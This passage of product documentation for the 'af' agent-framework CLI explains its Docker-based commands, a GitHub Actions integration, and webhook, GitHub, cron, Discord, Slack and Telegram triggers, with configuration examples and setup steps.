with `af update`. The CLI orchestrates Docker under the hood: agents always execute in the published container, never on your machine. Pointing `af` at an agent file starts the container with the config mounted, the data volume attached and the env file passed. Config paths default to `./agent.yaml`. ``` af init [name] Scaffold a new agent project (agent, secrets, deployment) af run [agent.yaml] Run one agent in Docker, interactive (REPL without triggers) af up [agent.yaml...] Start agents in Docker — foreground; -d to detach af ps List af containers af down [target...] Stop and remove af containers (files or handles; none = all) af validate [agent.yaml] Validate an agent definition af flags [agent.yaml] Print the Deno sandbox flags this agent runs under af schema Print the agent.yaml JSON Schema af discord-invite Print the bot's OAuth invite URL (no bitfield math) af version Print the af version (also --version, -v) ``` ## Under the hood [#under-the-hood] Every `af` command that runs an agent expands to a plain `docker run` on the [published base image](/agent-framework/docker-run) — no daemon of its own, no state outside Docker. `af up -d agent.yaml` is exactly this: ```sh docker run -d --restart unless-stopped \ --name af-agent \ --label af.agent=agent \ -v ./agent.yaml:/agent/agent.yaml:ro \ --env-file .env \ -v agent-data:/data \ -p 127.0.0.1:0:9090 \ --read-only --tmpfs /tmp \ ghcr.io/loopedautomation/agent:0.12.0 ``` That's the config and any `skills:` mounted read-only, the `-data` volume so identity survives restarts, the `.env` next to the agent file, the [status surface](/agent-framework/docker-run#the-status-surface) on an ephemeral loopback port so fleets never collide, and a read-only root filesystem. The image tag matches the CLI's version — never `:latest`, so a cached image can't drift out from under a newer CLI (`--image` overrides). `af ps` and `af down` find containers by the `af.agent` label. Because it's all plain Docker, everything you know still works: `docker logs af-`, `docker stats`, restart policies, volume backups. `--dry-run` on `run`/`up` prints the exact command for your agent instead of executing it — useful for pasting into a systemd unit or a runbook. ## af init [#af-init] `af init` scaffolds a complete agent project into `/`. It's interactive by default, and every question is also a flag, so you can script it as one line: ```sh af init issue-helper --trigger discord --provider openai-compatible \ --deploy compose --clis gh ``` | Flag | Choices | | | --------------------- | ----------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------- | | `--trigger` | `discord` `webhook` `cron` `none` | `none` = REPL agent | | `--provider` | `openai-compatible` `anthropic` `codex` `local` | `codex` = ChatGPT subscription via `codex login`, no key; `local` = openai-compatible + Ollama `base_url`, no key | | `--deploy` | `local` `docker` `compose` `compose-inline` `paas-git` `paas-env` | see below | | `--model` | any model id | sensible default per provider | | `--clis` | comma-separated executables | adds a Dockerfile layer + `permissions.run` | | `--handle` / `[name]` | letters, digits, hyphens | what you call the agent | | `--dir` | a directory | where to scaffold (default `.`) | Every shape generates `agent.yaml`, `.env.example` (every secret the config references, ready to copy to `.env`) and a `README.md` with the exact deploy steps. Each deploy shape then adds its own files: * **`local`** - nothing more; you `af validate` and `af run`. * **`docker`** - the `docker run` command in the README, with the mounted config, env file and data volume. * **`compose`** - a `compose.yaml`, a `Dockerfile` when `--clis` needs one and a `.gitignore`. * **`compose-inline`** - a single `compose.yaml` with the agent config [defined inline](/agent-framework/docker-compose#one-compose-file-the-whole-agent-inline) in a top-level `configs:` element and mounted at `/agent/agent.yaml`. * **`paas-git`** - a `Dockerfile` and `compose.yaml` for platforms that build from a repo (Coolify, for example): you push, connect, set the env vars and deploy. * **`paas-env`** - for platforms where a deploy is an image plus env vars: the stock image with the config in `AF_AGENT_CONFIG` and no files at all. ## af run [#af-run] `af run` starts one agent in Docker, interactive and in the foreground (`docker run -it --rm`): a long-lived service if the config has `triggers:` and a REPL if it doesn't. On first boot the agent picks its name and prints the birth banner. Ctrl-c stops the container; the `-data` volume stays, so the identity survives. Inside the published image the entrypoint calls the same command with `AF_CONTAINER=1` set, which makes `run` execute the agent in-process — that branch *is* the container entrypoint. Set `AF_CONTAINER=1` yourself only for framework development. ## af up [#af-up] `af up` starts one container per agent file. The foreground default streams every agent's logs with a colored `[handle]` prefix and stops them all on ctrl-c; `-d` detaches with `--restart unless-stopped` and waits until each agent answers on its status port: ``` $ af up -d issue-bot/agent.yaml helpdesk/agent.yaml ✓ issue-bot running · status http://127.0.0.1:55031 ✓ helpdesk running · status http://127.0.0.1:55047 af ps to inspect · af down to stop ``` For every agent it mounts the config and any `skills:` read-only, attaches the `-data` volume, passes the `.env` next to the agent file (`--env-file` overrides), publishes the [status surface](/agent-framework/docker-run#the-status-surface) on an ephemeral loopback port and webhook trigger ports directly, and runs the container `--read-only`. `--image` overrides the image; `--dry-run` prints the docker command(s) and starts nothing. A handle that already has a container fails loudly — `af down` it first. ## af ps [#af-ps] `af ps` lists the af-managed containers (running or stopped, discovered by the `af.agent` label) with their state, uptime and status-surface address. ## af down [#af-down] `af down` gracefully stops and removes af containers — pass agent files or handles, or nothing for all of them. Data volumes are never removed: a lost volume is a fresh identity. ## af validate [#af-validate] ``` ✓ agent.yaml is a valid agent definition handle: issue-bot model: openai-compatible / gpt-5.4-mini triggers: discord sandbox: net open below the app layer; egress bounded by the container ⚠ permissions.run grants gh — a subprocess leaves the Deno sandbox env refs: OPENAI_API_KEY, DISCORD_BOT_TOKEN, GITHUB_TOKEN ⚠ not set in this environment: GITHUB_TOKEN ``` `af validate` parses the config (unknown keys are hard errors) and prints the identity, the triggers, every env var the config references (with a warning on any that aren't set in the environment) and which sandbox the agent gets. This one granted `gh`, so it gets the container as its egress boundary. An agent that spawns nothing runs [hermetic](/agent-framework/permission-model#hermetic-mode) instead, and `af validate` lists the hosts it's allowed to reach: ``` sandbox: hermetic — Deno enforces net for the whole process egress: 0.0.0.0:9090, api.anthropic.com, api.github.com ``` ## af flags [#af-flags] `af flags` prints the Deno permission flags the agent runs under in the container, which is [layer 1 of the sandbox](/agent-framework/permissions#the-layers). An agent that spawns nothing runs [hermetic](/agent-framework/permission-model#hermetic-mode): its net allowlist, plus the hosts the framework works out from the config, compiled into `--allow-net`. ``` $ af flags agent.yaml --allow-env --allow-read=/agent,/skills,/data,/looped,/deno-dir,/run/secrets \ --allow-write=/data --allow-net=0.0.0.0:9090,api.anthropic.com,api.github.com ``` If the agent has a `permissions.run` grant or a stdio MCP server, then a subprocess is going to leave the Deno sandbox and the runtime can't hold its network access. You get the image's flags instead, and the reason why on stderr. ## af schema [#af-schema] `af schema` prints the agent.yaml [JSON Schema](https://github.com/loopedautomation/agent-framework/blob/main/schema/agent.json). It's the same schema the runtime enforces and the one [editors validate against](/agent-framework/agent-file#editor-support). ## af login / af deploy / af agents / af status [#af-login--af-deploy--af-agents--af-status] These commands drive [Looped Agents](https://agents.looped.sh), the hosted platform. In v1 the platform deploys **GitHub-connected agents only**: you connect a repo once in the dashboard (a GitHub App install), and from then on the platform deploys whatever is on the connected branch. `af deploy` is the terminal end of that flow — it never uploads your working tree. `af login [key]` verifies and stores a team API key (minted in the dashboard with the `read:agent` and `write:agent` scopes) in `~/.config/looped/credentials.json`. In CI, set `LOOPED_API_KEY` instead; `LOOPED_API_URL` overrides the gateway for staging. `af deploy [agent.yaml] [--agent ]` matches your checkout to a hosted agent — by the `origin` remote's `owner/repo`, then the current branch, then the config's handle when one repo hosts several agents — triggers a deploy of the branch head, and polls until the deployment is healthy or failed (surfacing the platform's boot error on failure). It warns when the working tree is dirty or the branch has unpushed commits, because those won't be in the deploy. `--agent ` picks the target explicitly. `af agents` lists the team's hosted agents with their connected repos. `af status [agent.yaml] [--agent ]` prints the matched agent's live machine status without waking a sleeping agent. ## af discord-invite [#af-discord-invite] `af discord-invite` prints the bot's OAuth invite URL with the correct scopes and permissions (View Channels, Send Messages and Read Message History), so you don't have to do the bitfield math yourself. It needs the config, to find the Discord trigger's `token_env`, and that token set in the environment; it looks up the application id from the token. It's part of the [Discord setup](/agent-framework/discord#setup). # GitHub Actions (/agent-framework/github-actions) Sometimes a workflow needs an agent for a single question. Triage this issue, summarize this diff, decide whether this release needs a warning in the notes. Keeping a service running for that would be backwards: the job starts, the question gets asked once and everything should be gone when the job ends. The `loopedautomation/agent-framework` action gives you exactly that single run. ```yaml jobs: triage: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: loopedautomation/agent-framework@v0.12.0 id: agent with: agent: ./triage/agent.yaml prompt: "Triage issue #${{ github.event.issue.number }}: ${{ github.event.issue.title }}" secrets: | OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - run: echo "${{ steps.agent.outputs.reply }}" ``` The agent runs in Docker on the runner, the same way it runs everywhere else. The action installs the [`af` CLI](/agent-framework/cli), and `af run` starts the published container with the config mounted and the sandbox intact. What makes the run one-shot is piped stdin: the prompt goes in as one line, the agent handles it and the process exits when the input ends. Once the job finishes, the runner is discarded and the agent with it. ## Inputs [#inputs] | Input | Default | | | ------------ | ---------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `agent` | `agent.yaml` | Path to the agent file, relative to the workspace. The file can't declare `triggers:`; a trigger makes the agent a long-lived service, and a CI step has to end. | | `prompt` | required | What to ask the agent. The run handles one line, so newlines in the prompt collapse to spaces. | | `secrets` | none | `KEY=VALUE` lines for the container's env file. | | `env-file` | none | An existing env file to use; lines from `secrets` are appended to it. | | `af-version` | `latest` | The [`@looped/af`](https://jsr.io/@looped/af) version to install. | | `image` | the CLI's pinned image | Container image override, passed through as `af run --image`. | ## Outputs [#outputs] | Output | | | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `reply` | The agent's reply. | | `status` | How the run ended: `ok`, `error_max_steps` or `error_provider`. The step fails on anything but `ok`, so you'll only read this output when you've set `continue-on-error`. | The reply also lands in the job's step summary, so anyone reading the workflow run can see what the agent said without digging through the transcript. ## Secrets [#secrets] The container gets its environment from [an env file](/agent-framework/secrets), the same way every other deployment does, and the runner's own environment stays outside. The `secrets` input is that file: put the provider API key and every other env ref the agent file declares in it, one `KEY=VALUE` line each, and take the values from the workflow's `secrets` context so GitHub masks them in logs. ```yaml secrets: | ANTHROPIC_API_KEY=${{ secrets.ANTHROPIC_API_KEY }} GITHUB_TOKEN=${{ secrets.GITHUB_TOKEN }} ``` Setting `env:` on the step does nothing for the agent, and that's deliberate. An env file you wrote yourself is a list you can read and audit, while the runner's environment carries whatever the job happened to accumulate. ## Every run is a fresh agent [#every-run-is-a-fresh-agent] On a fresh runner the agent boots for the first time, picks a new name and starts with empty [memory](/agent-framework/memory). We think that's the right default for CI: a workflow step should get its context from the prompt and the skills you gave it, and whatever a previous job left in a volume shouldn't change what this run does. It does mean the action is the wrong shape for an agent that needs durable memory across runs; that agent wants to be a service, deployed with `af up` on a machine you keep. ## Requirements and notes [#requirements-and-notes] * **A Linux runner with Docker.** `ubuntu-latest` has it; macOS runners don't ship Docker. * **Pin the action to a release tag**, the same way you'd pin any action; `@v0.12.0` is the current release at the time of writing. The framework's releases and the action share one repo, so one tag names both. * **Budgets still apply.** The run is bounded by the agent's step cap, so you know roughly what a confused agent can cost before the job starts. * **[Test cases](/agent-framework/testing) belong in CI too.** `af test` runs on the host, so this action doesn't wrap it, but it's one install away in a sibling step and its exit code already works as a CI check. # Webhook (/agent-framework/webhook) The `webhook` trigger gives the agent an HTTP endpoint: POST an input and receive the run result back. It is the integration point for everything that isn't a chat platform — other services, scripts, schedulers, or your own UI. ```yaml triggers: - type: webhook # path: / (default) # port: 8080 (default) token_env: WEBHOOK_TOKEN # required — bearer auth, deny by default ``` ```yaml configs: agent-yaml: content: | handle: task-bot description: Runs tasks submitted over HTTP. model: provider: openai-compatible id: gpt-5.4-mini purpose: | You are a concise assistant. Complete the submitted task and reply with the result. triggers: - type: webhook token_env: WEBHOOK_TOKEN memory: scope: thread services: task-bot: image: ghcr.io/loopedautomation/agent:latest configs: - source: agent-yaml target: /agent/agent.yaml env_file: .env # WEBHOOK_TOKEN and the model's API key ports: - "8080:8080" volumes: - task-bot-data:/data restart: unless-stopped volumes: task-bot-data: ``` Call it: ```sh curl -s localhost:8080 \ -H "authorization: Bearer $WEBHOOK_TOKEN" \ -H "content-type: application/json" \ -d '{"input": "run: echo hello", "conversation_id": "demo"}' ``` The response is the run result: `{"status": "ok", "reply": "...", "steps": 2}`. Pass the same `conversation_id` to continue a conversation (with `memory.scope: thread` — [Memory](/agent-framework/agent-file#memory)); omit it for one-shot runs. Requests sharing a `conversation_id` run one at a time, in arrival order. When a conversation already has [`limits.queue_depth`](/agent-framework/agent-file#limits) requests waiting, the next one comes back as a 429 with `"status": "rejected"`, so the caller knows to back off and retry. `token_env` is required — an unauthenticated endpoint contradicts deny-by-default. The token resolves at startup, and a missing env var fails right there, before the endpoint ever accepts a call. Every call lands in the agent's [run history](/agent-framework/docker-run#persistence-the-data-volume) with its status, steps and tokens. ## GitHub webhooks [#github-webhooks] GitHub signs its webhooks with an HMAC header rather than a bearer token, so a repository webhook can't call the generic trigger above. The `github` trigger speaks GitHub's dialect natively: point a repository or organization webhook at it, and verified deliveries wake the agent. ```yaml triggers: - type: github # path: /github (default) # port: 8080 (default) # secret_env: GITHUB_WEBHOOK_SECRET (default) events: ["pull_request.opened", "issues"] # repos: ["loopedautomation/*"] # optional; useful for org-level hooks ``` Every delivery's `X-Hub-Signature-256` header is verified against the webhook secret with a timing-safe comparison before the payload is parsed; an unsigned POST is a 401 and no event. The secret resolves at startup, and GitHub's `ping` handshake is answered without a model call, so creating the webhook succeeds before the agent has ever run. ### Choosing events [#choosing-events] A single webhook can carry every event type GitHub emits, so `events` is required: it says which ones cost a model call. An entry is an event name (`pull_request`, any action), an event and action (`pull_request.opened`), or `"*"` for everything the webhook sends. The filter runs before the agent is called, and a dropped delivery is acknowledged with an `ignored` note so the repository's webhook log shows why nothing happened. The common event types - pull requests, issues, comments, reviews, pushes, releases, workflow runs - render into tailored plain text: number, title, branches, state, URL and the body, clipped to a sane size. Any other event type falls back to the payload itself with the bulky repeated objects pruned, so an event the framework has never heard of is still usable the day GitHub ships it. Pull-request and issue events share a conversation key (`github:/#`), so with `memory.scope: thread` ([Memory](/agent-framework/memory)) every event about one PR lands in one ongoing conversation - the run for a new commit remembers the review that came before it. Events without a number, like pushes and releases, run one-shot. ### Setting up the webhook [#setting-up-the-webhook] 1. In the repository (or organization), Settings → Webhooks → Add webhook. Point it at your public URL for the agent, e.g. `https://agents.example.com/github`, with content type `application/json`. 2. Set a webhook secret and put the same value in `GITHUB_WEBHOOK_SECRET`. GitHub has no unsigned mode here that the trigger will accept. 3. Pick the events to send - sending more than `events:` lists is fine, since the trigger drops the rest before the model is called. Like the email trigger, the endpoint has to be reachable from the internet, so put a TLS-terminating proxy or tunnel in front of the port. ### Acting on events [#acting-on-events] There is no reply channel: GitHub expects an acknowledgement and nothing more, so the trigger acks each delivery immediately (GitHub times out slow endpoints at ten seconds) and runs the agent afterwards. What the agent does about the event comes from its own capabilities - for a PR review bot, that's `permissions.run: [gh, git]` and a purpose that says to check the branch out and post the review with `gh pr review`. The run and everything the agent did land in the [run history and audit trail](/agent-framework/docker-run#persistence-the-data-volume) as always. One honest caveat: GitHub's signature scheme carries no timestamp, so unlike the Svix-signed email webhooks there is no replay window to enforce - a captured delivery could be replayed until the secret rotates. The signature still proves the payload came from someone holding the secret, and the worst a replay buys is a duplicate run over the same event. # Cron (/agent-framework/cron) The `cron` trigger runs the agent on a schedule rather than in response to an external event: ```yaml triggers: - type: cron schedule: "0 9 * * 1" # every Monday 09:00 prompt: Post a summary of open issues. ``` ```yaml configs: agent-yaml: content: | handle: summary-bot description: Posts a weekly summary of open issues. model: provider: openai-compatible id: gpt-5.4-mini purpose: | Each run, summarize the open issues and deliver the summary. triggers: - type: cron schedule: "0 9 * * 1" # every Monday 09:00 prompt: Post a summary of open issues. services: summary-bot: image: ghcr.io/loopedautomation/agent:latest configs: - source: agent-yaml target: /agent/agent.yaml env_file: .env # the model's API key volumes: - summary-bot-data:/data restart: unless-stopped volumes: summary-bot-data: ``` Each tick runs the agent with `prompt` as input. Results are logged and recorded in the [run history](/agent-framework/docker-run#persistence-the-data-volume) — a configurable result sink is planned; until then, when the result needs to go somewhere, have the agent deliver it itself through an allowlisted API or CLI ([Permissions](/agent-framework/permissions)). Every run reports its status, steps and tokens, and [`limits`](/agent-framework/agent-file#limits) cap what an unattended schedule can spend. A schedule never overlaps itself. If a tick fires while the previous run is still going, the new firing waits for it to finish, and at most one firing waits; anything past that is skipped with `status: rejected`. A 6am summary that runs long produces a single catch-up run, and the skipped ticks stay visible in the audit trail. A cron trigger is the operator's schedule: it lives in the config, gets reviewed like code and survives a wiped data volume. When the [`schedules:`](/agent-framework/scheduling) block is on, the agent can also create schedules of its own in conversation ("remind me Thursday"). ## Multiple triggers [#multiple-triggers] `triggers:` is a list, and an agent can declare as many as it needs, including two of the same type. A daily prompt and a weekly prompt can live side by side: ```yaml triggers: - type: cron schedule: "0 9 * * *" # every day 09:00 prompt: Post a summary of yesterday's open issues. - type: cron schedule: "0 9 * * 1" # every Monday 09:00 prompt: Post a summary of the past week. ``` This also works across types: the same agent can listen on Discord, serve a webhook and run a schedule at the same time. Whatever wakes it, the same purpose, permissions and run history apply, and conversation keys stay per source, so a Discord thread and a webhook caller never share memory. # Discord (/agent-framework/discord) Triggers turn an agent into a long-lived service that waits for events, acts on them, delivers the result, and goes idle. The `discord` trigger connects that loop to a Discord server: the agent watches channels and replies in-channel to the messages that wake it. ```yaml triggers: - type: discord channels: ["issues"] # names or ids; omit for all channels # require_mention: true # only respond when @-mentioned # token_env: DISCORD_BOT_TOKEN (default) # from_users: ["amin", "ratul"] # only handle these authors (user ids or usernames) # reply_channel: "1522..." # post replies here instead of the source channel # allow_silence: true # a reply of exactly __NO_REPLY__ posts nothing # show_typing: true # show "typing…" in the channel while the agent works ``` ```yaml configs: agent-yaml: content: | handle: issue-bot description: Turns team Discord messages into GitHub issues. model: provider: openai-compatible id: gpt-5.4-mini purpose: | You turn Discord messages in the issues channel into well-formed GitHub issues and reply with the issue link. triggers: - type: discord channels: ["issues"] # names or ids; omit for all channels memory: scope: thread services: issue-bot: image: ghcr.io/loopedautomation/agent:latest configs: - source: agent-yaml target: /agent/agent.yaml env_file: .env # DISCORD_BOT_TOKEN and the model's API key volumes: - issue-bot-data:/data restart: unless-stopped volumes: issue-bot-data: ``` ## Options [#options] Every key is optional; the defaults give you a bot that listens everywhere it's invited and answers everyone. | Key | Default | What it does | | ----------------- | ------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------- | | `channels` | all channels | Channel names or ids to listen in. A thread counts as the channel it lives under, so listing `general` also covers its threads. DMs skip this filter. | | `require_mention` | `false` | Only respond when the bot is @-mentioned. A DM always addresses the bot, so it passes. | | `from_users` | anyone | Only handle messages from these authors (user ids or usernames). The filter runs before the model is called, so everyone else's messages cost no tokens. | | `token_env` | `DISCORD_BOT_TOKEN` | The env var holding the bot token. | | `reply_channel` | the source channel | Channel id to post replies into. Out-of-channel replies quote the triggering message and link back to it. | | `allow_silence` | `false` | Post nothing when the agent replies with exactly `__NO_REPLY__`, or with nothing at all. Tell the agent about the sentinel in `purpose`. | | `show_typing` | `false` | Show the typing indicator in the source channel while a run is in flight. | ## Setup [#setup] Setting up a Discord bot takes about 15 minutes: 1. In the [Discord Developer Portal](https://discord.com/developers/applications), create a New Application with a Bot. 2. Enable the **Message Content Intent** under Privileged Gateway Intents. Without it, messages arrive empty — this is the most common setup failure. 3. Copy the bot token and export it: `export DISCORD_BOT_TOKEN=...` 4. Run `af discord-invite agent.yaml` to print a ready-made invite URL with the correct scopes and permissions, then open it and invite the bot to your server. 5. Run the agent: `af run agent.yaml` The agent replies in-channel to the triggering message; conversations are keyed per channel or thread, and `memory.scope: thread` continues them ([Memory](/agent-framework/agent-file#memory)). It ignores bots, itself, and empty messages; long replies split at Discord's 2000-char limit. While connected the bot shows as online, and with `show_typing: true` it also shows the "typing…" indicator in the source channel for as long as a run is in flight. A run can take a while on a slow model, and the indicator is what tells the person who asked that something is happening. ## Direct messages [#direct-messages] The bot answers DMs too. A DM addresses the bot by definition, so the `channels` filter and `require_mention` don't apply there. `from_users` still does, and it's the knob to reach for if you don't want the bot talking to everyone who can see it in a server. Each DM is its own conversation, with history kept separate from every channel the bot watches. ## Voice [#voice] With a top-level `voice` block in the agent file, the trigger handles Discord voice messages: it downloads the audio, transcribes it and runs the transcript through the normal loop, and with `tts` configured the reply comes back as a voice message too. Add `voice.live` and a `voice_channels` filter and the agent joins a voice channel and holds a spoken conversation in it: ```yaml triggers: - type: discord channels: ["issues"] voice_channels: ["standup"] # names or ids; needs the top-level voice.live block ``` [Voice](/agent-framework/voice) has the setup, the costs and the fallbacks for both. For a bot invited before you turned voice on, run `af discord-invite` again and open the URL; the invite now carries the permissions to send voice messages, connect to a voice channel and speak in it. ## Observer agents [#observer-agents] `from_users`, `reply_channel` and `allow_silence` together turn the trigger from a chatbot into an observer: an agent that watches channels, reacts to specific people and reports elsewhere. [Observer agents](/agent-framework/observer-agents) covers the pattern, with a full example. ## Slash commands [#slash-commands] The trigger registers the agent's [slash commands](/agent-framework/slash-commands) as Discord application commands at startup, so typing `/` in a channel pops Discord's native picker with each command's description. Picking one arrives as an interaction; the agent acknowledges it with the "thinking…" state and fills in the reply when the run finishes. Typing a command as plain text works the same way. # Slack (/agent-framework/slack) Triggers turn an agent into a long-lived service that waits for events, acts on them, delivers the result, and goes idle. The `slack` trigger connects that loop to a Slack workspace over Socket Mode — an outbound WebSocket, so the agent needs no public endpoint. It watches channels and replies in a thread under the messages that wake it. (A second transport, `events_api`, trades the always-on socket for an inbound HTTPS endpoint — see [Transports](#transports).) ```yaml triggers: - type: slack channels: ["help"] # names or ids; omit for all channels the bot is in # require_mention: true # only respond when @-mentioned (DMs always respond) # token_env: SLACK_BOT_TOKEN (default) # app_token_env: SLACK_APP_TOKEN (default) # from_users: ["U0HAPPY"] # only handle these authors (Slack user ids) # reply_channel: "C0REVIEW" # post replies here instead of the source thread # allow_silence: true # a reply of exactly __NO_REPLY__ posts nothing ``` ## Options [#options] Every key is optional; the defaults give you a bot that answers everyone, in every channel it has been invited to. | Key | Default | What it does | | -------------------- | ---------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `channels` | all channels | Channel names or ids to listen in. DMs always pass. | | `require_mention` | `false` | Only respond when the bot is @-mentioned. Gates channels only; a DM always addresses the bot. | | `from_users` | anyone | Only handle messages from these Slack user ids (the `U…` kind - display names don't match). The filter runs before the model is called, so everyone else's messages cost no tokens. | | `token_env` | `SLACK_BOT_TOKEN` | The env var holding the bot token (`xoxb-…`) - reads channel info, posts replies. | | `app_token_env` | `SLACK_APP_TOKEN` | The env var holding the app-level token (`xapp-…`, scope `connections:write`) that opens the Socket Mode connection. | | `reply_channel` | the source thread | Channel id to post replies into. Out-of-channel replies quote the triggering message and link back to it. | | `allow_silence` | `false` | Post nothing when the agent replies with exactly `__NO_REPLY__`, or with nothing at all. Tell the agent about the sentinel in `purpose`. | | `transport` | `socket` | How events arrive: `socket` (Socket Mode) or `events_api` (inbound HTTP from Slack's Events API). See [Transports](#transports). | | `signing_secret_env` | `SLACK_SIGNING_SECRET` | Events API transport: the env var holding the app's signing secret. Every delivery's `X-Slack-Signature` is verified before parsing. | | `path` | `/slack` | Events API transport: the HTTP path Slack POSTs deliveries to. | | `port` | `8080` | Events API transport: the port to listen on. | ## Transports [#transports] `socket` holds a Socket Mode WebSocket open — outbound only, no public endpoint, but the process must be running to receive anything. `events_api` inverts that: the trigger serves Slack's Events API over inbound HTTP, verifying each delivery against the app's signing secret, answering the `url_verification` challenge (so the request URL can be enabled in the app config), and acking within Slack's 3-second deadline before running the agent. Slack retries deliveries it thinks failed (up to 3× — and on a scale-to-zero host a cold boot often eats the first attempt), so events are deduped on their `event_id`. Everything after ingestion — `channels`, `from_users`, `require_mention`, `reply_channel`, `allow_silence` — behaves identically, and `app_token_env` is not needed in this mode (there is no Socket Mode connection). The trade-off: the socket transport needs an always-on process; the Events API transport needs a public HTTPS endpoint, and in exchange the host can scale to zero. On platforms that stop idle machines and autostart them on inbound HTTP (Fly.io and friends), Slack's retry is exactly what boots the machine back up. ```yaml triggers: - type: slack transport: events_api # signing_secret_env: SLACK_SIGNING_SECRET (default) # path: /slack (default) # port: 8080 (default) ``` To set it up, skip the Socket Mode step below; instead, under **Event Subscriptions**, enable events and set the **Request URL** to your public endpoint + `path` (the running agent answers the verification challenge), and export the **Signing Secret** from **Basic Information** as `SLACK_SIGNING_SECRET`. [Slash commands](/agent-framework/slash-commands) work here too: point each command's request URL at the same endpoint. Multiple HTTP-serving triggers on one agent need distinct `port`/`path` combinations, the same rule as the [`webhook`](/agent-framework/webhook), `github` and `email` triggers. ## Setup [#setup] Setting up the Slack app takes about 10 minutes: 1. In [api.slack.com/apps](https://api.slack.com/apps), create a new app (from scratch) in your workspace. 2. Under **Socket Mode**, enable it and generate an **app-level token** with the `connections:write` scope — this is `SLACK_APP_TOKEN` (`xapp-…`). 3. Under **OAuth & Permissions**, add the bot scopes `chat:write`, `channels:history`, `groups:history`, `im:history`, and `channels:read`, then install the app to the workspace. The **bot token** it produces is `SLACK_BOT_TOKEN` (`xoxb-…`). 4. Under **Event Subscriptions**, enable events and subscribe to the bot events `message.channels`, `message.groups`, and `message.im`. Missing event subscriptions are the most common setup failure — the socket connects but nothing arrives. 5. Export both tokens, invite the bot to a channel (`/invite @your-bot`), and run the agent: `af run agent.yaml` Replies go into a thread under the triggering message; conversations are keyed per thread (a DM is one rolling conversation), and `memory.scope: thread` continues them ([Memory](/agent-framework/agent-file#memory)). The agent ignores bots, itself, message edits, and empty messages; long replies split at Slack's recommended 4000-char limit. If you change scopes later, reinstall the app — Slack applies them only on install. ## Observer agents [#observer-agents] `from_users`, `reply_channel` and `allow_silence` together turn the trigger from a chatbot into an observer: an agent that watches channels, reacts to specific people and reports elsewhere. [Observer agents](/agent-framework/observer-agents) covers the pattern, with a full example. ## Slash commands [#slash-commands] Slack treats any message starting with `/` as a slash command and never delivers it as a message event, so [commands](/agent-framework/slash-commands) need one manual step here: add each command (with its description) to your Slack app configuration. They work over Socket Mode with no public URL. The trigger acknowledges the command and posts the agent's reply through the command's response URL when the run finishes. # Telegram (/agent-framework/telegram) Triggers turn an agent into a long-lived service that waits for events, acts on them, delivers the result, and goes idle. The `telegram` trigger connects that loop to Telegram over Bot API long-polling — outbound HTTPS only, so the agent needs no public endpoint. It watches chats and replies to the messages that wake it. (A second transport, `webhook`, trades the always-on poll for an inbound HTTPS endpoint — see [Transports](#transports).) ```yaml triggers: - type: telegram # chats: ["-1001234567890"] # chat ids, group titles, or @usernames; omit for all # require_mention: true # only respond when @-mentioned (private chats always respond) # token_env: TELEGRAM_BOT_TOKEN (default) # from_users: ["gtchax"] # only handle these authors (user ids or usernames) # reply_chat: "-100987..." # post replies here instead of the source chat # allow_silence: true # a reply of exactly __NO_REPLY__ posts nothing ``` ## Options [#options] Every key is optional; the defaults give you a bot that answers everyone, in every chat it can see. | Key | Default | What it does | | ----------------- | -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `chats` | all chats | Chat ids, group titles, or public `@usernames` to listen in. This filter applies to private chats too: a private chat's id is the sender's user id, so list that id to keep DMs. | | `require_mention` | `false` | Only respond when the bot is @-mentioned. Gates groups only; a private chat always addresses the bot. Pair it with privacy mode (see Setup). | | `from_users` | anyone | Only handle messages from these authors (user ids or usernames, no `@`). The filter runs before the model is called, so everyone else's messages cost no tokens. | | `token_env` | `TELEGRAM_BOT_TOKEN` | The env var holding the bot token from @BotFather. | | `reply_chat` | the source chat | Chat id to post replies into. Out-of-chat replies quote the triggering message, and link back to it when the source is a supergroup. | | `allow_silence` | `false` | Post nothing when the agent replies with exactly `__NO_REPLY__`, or with nothing at all. Tell the agent about the sentinel in `purpose`. | | `transport` | `polling` | How updates arrive: `polling` (long-poll `getUpdates`) or `webhook` (inbound HTTP registered via `setWebhook`). See [Transports](#transports). | | `public_url` | — | Webhook transport only, required there: the externally reachable **HTTPS** base registered with Telegram (e.g. `https://my-agent.fly.dev`). | | `path` | `/telegram` | Webhook transport: the HTTP path Telegram POSTs updates to. | | `port` | `8080` | Webhook transport: the port to listen on. | ## Transports [#transports] `polling` holds a long-poll request open against the Bot API — outbound only, no public endpoint, but the process must be running to receive anything. `webhook` inverts that: at startup the trigger calls `setWebhook` to register `public_url` + `path` (with a per-boot secret token; deliveries that don't echo it back in `X-Telegram-Bot-Api-Secret-Token` get a 401), then serves Telegram's POSTs. Everything after ingestion — `chats`, `from_users`, `require_mention`, `reply_chat`, `allow_silence`, voice, commands — behaves identically. The trade-off: polling needs an always-on process; the webhook transport needs a public HTTPS endpoint, and in exchange the host can scale to zero. On platforms that stop idle machines and autostart them on inbound HTTP (Fly.io and friends), Telegram queues undelivered updates (\~24h) and retries — the retry is exactly what boots the machine back up, so the webhook registration is deliberately left in place on shutdown. Switching back is safe too: the polling transport deletes any leftover webhook registration at startup, since Telegram refuses `getUpdates` while one exists. ```yaml triggers: - type: telegram transport: webhook public_url: https://my-agent.fly.dev # path: /telegram (default) # port: 8080 (default) ``` Multiple HTTP-serving triggers on one agent need distinct `port`/`path` combinations, the same rule as the [`webhook`](/agent-framework/webhook), `github` and `email` triggers. ## Setup [#setup] This is the fastest channel to set up — about 2 minutes: 1. Message [@BotFather](https://t.me/BotFather) on Telegram, send `/newbot`, and follow the prompts. 2. Copy the token it gives you and export it: `export TELEGRAM_BOT_TOKEN=...` 3. Run the agent: `af run agent.yaml` — then message your bot. For group chats, one more thing: bots have **privacy mode** on by default, so in groups they only receive messages that @-mention them or reply to them. Either that's what you want (pair it with `require_mention: true`), or turn it off via BotFather's `/setprivacy` and re-add the bot to the group. The agent replies in-chat to the triggering message; conversations are keyed per chat, and `memory.scope: thread` continues them ([Memory](/agent-framework/agent-file#memory)). It ignores bots and empty messages; long replies split at Telegram's 4096-char limit. Private chats always address the bot — `require_mention` only gates groups. ## Observer agents [#observer-agents] `from_users`, `reply_chat` and `allow_silence` together turn the trigger 